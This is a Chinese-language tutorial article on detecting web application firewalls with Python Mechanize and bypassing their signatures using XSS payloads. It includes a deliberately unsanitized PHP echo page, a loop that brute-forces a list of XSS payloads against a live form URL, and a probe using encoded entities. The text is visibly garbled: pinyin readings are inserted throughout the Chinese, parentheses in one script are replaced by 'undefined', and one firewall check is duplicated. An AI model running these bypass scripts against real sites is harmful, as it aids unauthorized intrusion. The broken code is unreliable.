使用Python檢測并繞過Web應用程序防火(huǒ)牆

發布日期:2017-06-23首頁 > IT資(zī)訊

Web應用防火(huǒ)牆通常放(fàng)置在Web服務器的前面,以過濾來自服務器的惡意流量。如果你去(qù)一(yī)家公司做滲透測試,他們忘記告訴你,他們使用的Web應用防火(huǒ)牆,可能會影響滲透測試進度。下(xià)圖描繪了一(yī)個簡單的Web應用程序防火(huǒ)牆的工(gōng)作原理:

正如你可以看到它像Web流量和Web服務器之間的牆壁,通常現在Web應用防火(huǒ)牆是基于簽名的。

什麽是基于簽名的防火(huǒ)牆?

在基于簽名的防火(huǒ)牆中(zhōng),您可以定義簽名,因爲您知(zhī)道網絡攻擊也遵循類似的模式或簽名。因此,我(wǒ)們可以定義匹配模式并阻止它們,即

Payload :- <svg><script>alert`1`<p>

上面定義的Payload是一(yī)種跨站點腳本攻擊,我(wǒ)們知(zhī)道所有這些攻擊都可以包含以下(xià)字符“<script>”,所以爲什麽我(wǒ)們不定義一(yī)個可以阻止Web流量的簽名,如果它包含這個字符串,我(wǒ)們可以定義2-3個簽名如下(xià):

    1. <script>

    2. alert(*)

第一(yī)個簽名将阻止包含<script>子串的任何請求,第二個将阻止警報(任何文本)。那麽這就是基于簽名的防火(huǒ)牆的工(gōng)作原理。

怎麽知(zhī)道有防火(huǒ)牆?

使用Python檢測并繞過Web應用程序防火(huǒ)牆

如果您正在進行滲透測試,并且您不知(zhī)道有防火(huǒ)牆阻塞流量,因爲它可能浪費(fèi)了大(dà)量的時間,因爲大(dà)多數時候,您的攻擊有效負載被防火(huǒ)牆阻止,所以,在開(kāi)始滲透測試之前,首先測試Web應用程序防火(huǒ)牆存在是一(yī)個好主意。

大(dà)多數防火(huǒ)牆現在就留下(xià)一(yī)些關于它們的軌迹,現在如果您使用上面定義的有效載荷攻擊網絡應用程序,并獲得以下(xià)響應:

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the

您可以清楚地看到,您的攻擊被Mod_Security防火(huǒ)牆阻止。在本文中(zhōng),我(wǒ)們将看到我(wǒ)們如何開(kāi)發一(yī)個簡單的python腳本,可以執行此任務檢測防火(huǒ)牆并繞過它。

步驟1:定義HTML文檔和PHP腳本!

我(wǒ)們必須定義我(wǒ)們的HTML文檔來注入有效載荷和相應的PHP腳本來處理數據。我(wǒ)們在下(xià)面定義了這兩個。

我(wǒ)們将使用以下(xià)HTML文檔:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

PHP腳本:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

步驟2:準備惡意請求!

檢測防火(huǒ)牆存在的第二步是創建一(yī)個可以被防火(huǒ)牆阻止的惡意跨站腳本請求。我(wǒ)們将使用一(yī)個名爲“Mechanize”的python模塊,了解更多關于此模塊的信息,請閱讀以下(xià)文章:

Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

如果您已經了解了Mechanize,可以跳過閱讀文章。現在您了解了Mechanize,我(wǒ)們可以選擇任何頁面上提供的Web表單并提交請求。以下(xià)代碼片段可用于做到這一(yī)點:

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)

讓我(wǒ)們明白(bái)這個代碼行:

  1. 在第一(yī)行,我(wǒ)們導入了mechanize模塊,并給它一(yī)個簡稱'mec'供以後參考。

  2. 要使用mechanize下(xià)載網頁,需要實例化浏覽器。我(wǒ)們已經在代碼的第二行中(zhōng)做到了。

  3. 在第一(yī)步,我(wǒ)們定義了我(wǒ)們的HTML文檔,其中(zhōng)表單名稱爲“waf”,我(wǒ)們需要告訴mechanize選擇此表單提交,因此我(wǒ)們在名爲formName的變量中(zhōng)使用此名稱。

  4. 比我(wǒ)們打開(kāi)這個URL,就像我(wǒ)們在浏覽器中(zhōng)一(yī)樣。頁面打開(kāi)後,我(wǒ)們填寫表單并提交數據,因此頁面的打開(kāi)與此相同。

  5. 最後我(wǒ)們選擇了使用'select_form'函數傳遞它'formName'變量的形式。

正如你可以在HTML源代碼中(zhōng)看到的那樣,這個表單隻有一(yī)個輸入字段,我(wǒ)們将在該字段中(zhōng)注入我(wǒ)們的payload,一(yī)旦我(wǒ)們收到響應,我(wǒ)們将檢查它的字符串以檢測是否存在Web應用防火(huǒ)牆。

步驟3:準備有效載荷

在我(wǒ)們的HTML文檔中(zhōng),我(wǒ)們使用以下(xià)代碼指定了一(yī)個輸入字段:

 <input type =“text”name =“data”> <br>

您可以看到該字段的名稱是“data”,我(wǒ)們可以使用以下(xià)代碼定義此字段的輸入:

crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad
  1. 第一(yī)行将我(wǒ)們的有效載荷保存在變量中(zhōng)。

  2. 在第二行代碼中(zhōng),我(wǒ)們已将我(wǒ)們的有效内容分(fēn)配給表單字段“數據”。

我(wǒ)們現在可以安全地提交此表格并檢查答複。

步驟4:提交表單并記錄回複

代碼我(wǒ)将在此行提及後提交表單并記錄回複:

maliciousRequest.submit()
response=maliciousRequest.response().read()
print response
  1. 提交表單

  2. 将響應保存在變量中(zhōng)。

  3. 打印回應。

由于我(wǒ)目前沒有安裝防火(huǒ)牆,所以我(wǒ)得到的響應是:

使用Python檢測并繞過Web應用程序防火(huǒ)牆

可以看到有效載荷被打印回我(wǒ)們,意味着應用程序代碼中(zhōng)不存在過濾,并且由于沒有防火(huǒ)牆,我(wǒ)們的請求也沒有被阻止。

步驟5:檢測防火(huǒ)牆的存在

名爲“response”的變量包含從服務器獲得的響應,我(wǒ)們可以使用響應來檢測防火(huǒ)牆的存在。我(wǒ)們将嘗試在本教程中(zhōng)檢測到以下(xià)防火(huǒ)牆的存在。

  1. WebKnight

  2. mod_security

  3. Dot Defender

看看我(wǒ)們如何用python代碼實現這一(yī)點:

if response.find('WebKnight') >= 0:
      print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
     print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
     print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
     print "Firewall detected: Dot Defender"
else:
     print "No Firewall Present"

如果安裝Web Knight防火(huǒ)牆并且我(wǒ)們的請求被阻止,響應字符串将在其中(zhōng)包含“WebKnight”,那麽find函數将返回大(dà)于0的值,這意味着WebKnight防火(huǒ)牆存在。同樣,我(wǒ)們也可以檢查其他2個防火(huǒ)牆。

我(wǒ)們可以擴展這個小(xiǎo)應用程序來檢測多少個防火(huǒ)牆,但您必須知(zhī)道響應行爲。

使用強力來繞過防火(huǒ)牆過濾器

我(wǒ)在文章的開(kāi)頭提到,大(dà)多數防火(huǒ)牆都基于簽名阻止請求。但是,您可以使用數千種方式構建payload。javascript比較複雜(zá),我(wǒ)們可以列出有效負載,并嘗試其中(zhōng)的每一(yī)個,記錄每個響應并檢查是否能夠繞過防火(huǒ)牆。請注意,如果防火(huǒ)牆規則被明确定義,則此方法可能無法正常工(gōng)作。讓我(wǒ)們看看我(wǒ)們如何使用python來強爆:

listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt&#40 1&#41<i>', '<a href="&#1;javascript:alertundefined1)">CLICK ME<a>']
for payLoads in listofPayloads:
   maliciousRequest = mec.Browserundefined)
   formName = 'waf'
   maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html")
   maliciousRequest.select_formundefinedformName)
   maliciousRequest.form['data'] = payLoads
   maliciousRequest.submitundefined)
   response = maliciousRequest.responseundefined).readundefined)
   if response.findundefined'WebKnight') >= 0:
       print "Firewall detected: WebKnight"
   elif response.findundefined'Mod_Security') >= 0:
       print "Firewall detected: Mod Security"
   elif response.findundefined'Mod_Security') >= 0:
       print "Firewall detected: Mod Security"
   elif response.findundefined'dotDefender') >= 0:
       print "Firewall detected: Dot Defender"
   else:
       print "No Firewall Present"
  1. 在第一(yī)行,我(wǒ)們定義了3個有效載荷的列表,您可以擴展此列表,并根據需要添加多個有效負載。

  2. 然後在for循環中(zhōng),我(wǒ)們做了與上面所做的相同的過程,但是這一(yī)次對于列表中(zhōng)的每個有效載荷。

  3. 收到響應後,我(wǒ)們再次比較看看防火(huǒ)牆是否存在。

因爲我(wǒ)沒有安裝防火(huǒ)牆,我(wǒ)的輸出是:

使用Python檢測并繞過Web應用程序防火(huǒ)牆

将HTML标簽轉換爲Unicode或Hex實體(tǐ)

如果防火(huǒ)牆正在過濾html标簽,如<>。我(wǒ)們可以發送相應的Unicode或Hex實體(tǐ),看看它們是否被轉換爲原始形式,如果是這樣,那麽這也可能是一(yī)個入口點。以下(xià)代碼可用于檢查此過程:

  listofPayloads = ['<b>','u003cbu003e','x3cbx3e']
  for payLoads in listofPayloads:
    maliciousRequest = mec.Browser()
    formName = 'waf'
    maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
    maliciousRequest.select_form(formName)
    maliciousRequest.form['data'] = payLoads
    maliciousRequest.submit()
    response = maliciousRequest.response().read()
    print "---------------------------------------------------"
    print response
    print "---------------------------------------------------"

每次我(wǒ)們将發送編碼的數據,在響應中(zhōng),我(wǒ)們将檢查是否轉換或打印回而不進行轉換,當我(wǒ)運行這個代碼,我(wǒ)得到了這個輸出:

使用Python檢測并繞過Web應用程序防火(huǒ)牆

表示沒有編碼的數據被轉換爲其原始格式。

結論

本文的目的是讓您了解web應用防火(huǒ)牆,測試您網絡的安全性,很多時候我(wǒ)們首先關心的應用程序的穩定性,但是我(wǒ)們忽略了安全部分(fēn),導緻後期出現了嚴重的安全問題。